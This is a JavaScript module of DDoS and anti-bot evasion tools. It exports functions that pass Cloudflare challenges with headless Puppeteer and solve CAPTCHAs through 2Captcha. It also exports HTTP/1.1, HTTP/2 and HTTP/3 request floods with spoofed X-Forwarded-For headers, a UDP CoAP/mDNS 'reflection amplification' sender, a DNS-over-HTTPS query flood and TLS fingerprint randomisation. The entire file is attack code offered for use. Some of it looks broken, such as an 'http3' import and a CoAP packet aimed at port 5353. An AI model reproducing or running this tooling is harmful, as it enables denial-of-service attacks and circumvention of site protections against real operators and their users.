bypass-techniques.js

const puppeteer = require('puppeteer');
const axios = require('axios');
const tls = require('tls');
const http2 = require('http2');
const http = require('http');
const http3 = require('http3');
const dgram = require('dgram');

// Cloudflare Bypass using Puppeteer (UAM, NoSec)
async function bypassCloudflare(targetUrl, proxy) {
    console.log(`Bypassing Cloudflare for ${targetUrl}...`);

    const browser = await puppeteer.launch({
        headless: true, // Run in headless mode
        args: proxy ? [`--proxy-server=${proxy}`] : [] // Use proxy if provided
    });

    const page = await browser.newPage();
    await page.setUserAgent('Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0');
    await page.goto(targetUrl, { waitUntil: 'networkidle2' }); // Wait for Cloudflare's JavaScript challenge

    const cookies = await page.cookies();
    await browser.close();

    return cookies;
}

// CAPTCHA Bypass using 2Captcha API
async function solveCaptcha(siteKey, pageUrl, apiKey) {
    console.log('Solving CAPTCHA using 2Captcha...');
    
    const captchaIdResponse = await axios.post(`http://2captcha.com/in.php?key=${apiKey}&method=userrecaptcha&googlekey=${siteKey}&pageurl=${pageUrl}`);
    const captchaId = captchaIdResponse.data.split('|')[1];

    let solved = false;
    let captchaToken = null;

    while (!solved) {
        const response = await axios.get(`http://2captcha.com/res.php?key=${apiKey}&action=get&id=${captchaId}`);
        if (response.data.includes('OK')) {
            captchaToken = response.data.split('|')[1];
            solved = true;
        } else {
            console.log('Still solving CAPTCHA...');
            await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for 5 seconds
        }
    }

    console.log('CAPTCHA solved!');
    return captchaToken;
}

// HTTP/1.1 Flooding Attack with Polymorphic Headers
const http1FloodAttack = (target, numRequests, proxies) => {
    for (let i = 0; i < numRequests; i++) {
        const options = {
            hostname: target,
            port: 80,
            path: '/',
            method: 'GET',
            headers: {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
                'Referer': 'https://google.com',
                'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
            }
        };

        const req = http.request(options, (res) => {
            console.log(`Request ${i + 1} sent. Status Code: ${res.statusCode}`);
        });

        req.on('error', (e) => {
            console.log(`HTTP/1.1 Request error: ${e.message}`);
        });

        req.end();
    }
};

// HTTP/2 Multiplexed Flooding Attack
const http2FloodAttack = (target, numRequests, proxies) => {
    const client = http2.connect(`https://${target}`);

    for (let i = 0; i < numRequests; i++) {
        const headers = {
            ':method': 'GET',
            ':path': '/',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
            'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
        };

        const req = client.request(headers);

        req.on('response', (headers) => {
            console.log('HTTP/2 Flooding headers:', headers);
        });

        req.on('data', (chunk) => {
            console.log('HTTP/2 Flooding data:', chunk);
        });

        req.end();
    }

    client.close();
};

// HTTP/3 Multiplexed Flooding Attack
const http3FloodAttack = (target, numRequests, proxies) => {
    const client = http3.connect(`https://${target}`, { rejectUnauthorized: false });

    for (let i = 0; i < numRequests; i++) {
        const req = client.request({
            ':method': 'GET',
            ':path': '/',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
            'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
        });

        req.on('response', (headers) => {
            console.log('HTTP/3 Flooding headers:', headers);
        });

        req.on('data', (chunk) => {
            console.log('HTTP/3 Flooding data:', chunk);
        });

        req.end();
    }

    client.close();
};

// Reflection Amplification (CoAP or mDNS)
const reflectionAmplification = (protocol, target, numPackets) => {
    const client = dgram.createSocket('udp4');
    let message;

    if (protocol === 'coap') {
        message = Buffer.from([0x40, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00]);  // CoAP GET
    } else if (protocol === 'mdns') {
        message = Buffer.from([0x00, 0x00, 0x84, 0x00, 0x00, 0x01, 0x00, 0x00]);  // mDNS
    }

    for (let i = 0; i < numPackets; i++) {
        client.send(message, 0, message.length, 5353, target, (err) => {
            if (err) console.log(`Reflection attack error: ${err}`);
        });
    }

    console.log(`${protocol.toUpperCase()} Reflection Amplification Finished.`);
};

// DNS over HTTPS (DoH) Attack
const dnsOverHttpsAttack = async (target, numQueries, proxies) => {
    const dohServer = 'https://cloudflare-dns.com/dns-query';  // DoH server

    for (let i = 0; i < numQueries; i++) {
        const randomDomain = `${Math.random().toString(36).substring(7)}.com`;

        await axios.get(`${dohServer}?name=${randomDomain}&type=A`, {
            headers: {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
                'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
            }
        }).catch(err => console.log(`DoH request failed: ${err}`));
    }

    console.log('DNS over HTTPS attack finished.');
};

// Advanced TLS Fingerprinting Evasion (for vShield)
const tlsEvasion = (target, numRequests, proxies) => {
    for (let i = 0; i < numRequests; i++) {
        const tlsOptions = {
            ciphers: tls.getCiphers().join(':'),
            minVersion: ['TLSv1.2', 'TLSv1.3'][Math.floor(Math.random() * 2)],
            rejectUnauthorized: false
        };

        const socket = tls.connect(443, target, tlsOptions, () => {
            console.log(`TLS connection ${i + 1} opened with randomized parameters.`);
        });

        socket.on('error', err => console.log(`TLS connection error: ${err}`));
    }

    console.log('TLS Fingerprinting Evasion completed.');
};

// Export all functions
module.exports = {
    bypassCloudflare,
    solveCaptcha,
    http1FloodAttack,
    http2FloodAttack,
    http3FloodAttack,
    reflectionAmplification,
    dnsOverHttpsAttack,
    tlsEvasion
};